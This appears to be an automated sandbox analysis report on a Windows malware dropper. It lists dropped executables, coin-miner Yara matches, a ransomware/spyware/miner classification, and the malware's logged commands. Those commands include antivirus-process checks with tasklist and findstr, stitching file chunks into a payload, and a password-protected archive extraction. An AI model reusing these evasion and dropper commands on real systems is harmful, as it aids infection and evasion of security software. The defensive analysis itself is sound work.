Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49939 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe entropy: 7.99505709583	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe entropy: 7.99505709583	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	File created: C:\Users\user\AppData\Local\Temp\Judy entropy: 7.99748219008	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	File created: C:\Users\user\AppData\Local\Temp\Sheets entropy: 7.9968933833	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	File created: C:\Users\user\AppData\Local\Temp\Wanting entropy: 7.99557217292	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	File created: C:\Users\user\AppData\Local\Temp\Another entropy: 7.99825978779	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\245347\b entropy: 7.99931676039	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	File created: C:\Users\user\AppData\Local\Temp\main\file.bin entropy: 7.99994867689	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\main\file.zip (copy) entropy: 7.99994867689	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip entropy: 7.9992359396	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip entropy: 7.99771683584	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip entropy: 7.99772074518	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip entropy: 7.99772354314	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip entropy: 7.99772670895	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip entropy: 7.99772941561	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip entropy: 7.99773141174	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 44.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 44.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.20.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 331488c9a5.exe.6.dr	Static PE information: section name:
Source: 331488c9a5.exe.6.dr	Static PE information: section name: .idata
Source: 331488c9a5.exe.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: f9567e9ef8.exe.6.dr	Static PE information: section name:
Source: f9567e9ef8.exe.6.dr	Static PE information: section name: .idata
Source: f9567e9ef8.exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: .idata
Source: random[3].exe.6.dr	Static PE information: section name:
Source: 43a8c4054b.exe.6.dr	Static PE information: section name:
Source: 43a8c4054b.exe.6.dr	Static PE information: section name: .idata
Source: 43a8c4054b.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name:
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name: .idata
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name:

PE file has a writeable .text section

Source: 3477ac361a61484faa59cc92fe88289c.exe.51.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00D1CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00D1CB97

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	File created: C:\Windows\MpForgotten	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	File created: C:\Windows\TabletAction	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	File created: C:\Windows\CommunityProduction	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	File created: C:\Windows\ExtractNicholas	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C978BB	0_2_00C978BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C97049	0_2_00C97049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C98860	0_2_00C98860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D681D3	0_2_00D681D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C931A8	0_2_00C931A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D67B6E	0_2_00D67B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C54B30	0_2_00C54B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C54DE0	0_2_00C54DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C92D10	0_2_00C92D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C9779B	0_2_00C9779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C87F36	0_2_00C87F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D478BB	1_2_00D478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D47049	1_2_00D47049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D48860	1_2_00D48860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D431A8	1_2_00D431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D04B30	1_2_00D04B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D04DE0	1_2_00D04DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D42D10	1_2_00D42D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D4779B	1_2_00D4779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D37F36	1_2_00D37F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D478BB	2_2_00D478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D47049	2_2_00D47049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D48860	2_2_00D48860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D431A8	2_2_00D431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D04B30	2_2_00D04B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D04DE0	2_2_00D04DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D42D10	2_2_00D42D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D4779B	2_2_00D4779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D37F36	2_2_00D37F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D0E530	6_2_00D0E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D26192	6_2_00D26192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D48860	6_2_00D48860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D04B30	6_2_00D04B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D04DE0	6_2_00D04DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D42D10	6_2_00D42D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D20E13	6_2_00D20E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D58E38	6_2_00D58E38
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D58E2C	6_2_00D58E2C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D58E28	6_2_00D58E28
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D47049	6_2_00D47049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D431A8	6_2_00D431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D21602	6_2_00D21602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D4779B	6_2_00D4779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D478BB	6_2_00D478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D23DF1	6_2_00D23DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D37F36	6_2_00D37F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe B57D78D93F74F7AE840AB03D3FDA4F22A24AD35AFCF9A53128CF82A92A67A085
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe 51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00C680C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D180C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D1D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D17A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D38E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D1D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D1D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D1DF80 appears 80 times

Source: random[3].exe.6.dr	Static PE information: Data appended to the last section found
Source: 43a8c4054b.exe.6.dr	Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 44.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 44.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981479904632152
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981479904632152
Source: random[2].exe.6.dr	Static PE information: Section: qutbxpsa ZLIB complexity 0.9943125354911981
Source: 331488c9a5.exe.6.dr	Static PE information: Section: qutbxpsa ZLIB complexity 0.9943125354911981
Source: random[2].exe0.6.dr	Static PE information: Section: ctmelatg ZLIB complexity 0.9900382573247939
Source: f9567e9ef8.exe.6.dr	Static PE information: Section: ctmelatg ZLIB complexity 0.9900382573247939
Source: random[3].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9972709760273972
Source: random[3].exe.6.dr	Static PE information: Section: npsrnsek ZLIB complexity 0.9952409574705462
Source: 43a8c4054b.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9972709760273972
Source: 43a8c4054b.exe.6.dr	Static PE information: Section: npsrnsek ZLIB complexity 0.9952409574705462
Source: random[1].exe1.6.dr	Static PE information: Section: ibyjowhj ZLIB complexity 0.9943412810580681
Source: 8b67fa16f7.exe.6.dr	Static PE information: Section: ibyjowhj ZLIB complexity 0.9943412810580681

Source: random[2].exe1.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[2].exe1.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: d59846009d.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: d59846009d.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 51.2.d59846009d.exe.380dcc0.0.raw.unpack, PayloadExtensions.cs	Suspicious method names: .PayloadExtensions.GetArchitectureMinimum
Source: 51.2.d59846009d.exe.36c3240.1.raw.unpack, PayloadExtensions.cs	Suspicious method names: .PayloadExtensions.GetArchitectureMinimum
Source: 51.2.d59846009d.exe.380dcc0.0.raw.unpack, PayloadV1.cs	Suspicious method names: .PayloadV1.Validate
Source: 51.2.d59846009d.exe.36c3240.1.raw.unpack, PayloadV1.cs	Suspicious method names: .PayloadV1.Validate

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.mine.winEXE@115/100@25/15

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6196:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2308:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Mutant created: \Sessions\1\BaseNamedObjects\FloppyShip
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:416:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe	ReversingLabs: Detection: 55%
Source: file.exe	Virustotal: Detection: 58%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe "C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe"
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 245347
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "profiles" Organizing
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\245347\Dry.com Dry.com b
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe "C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe"
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
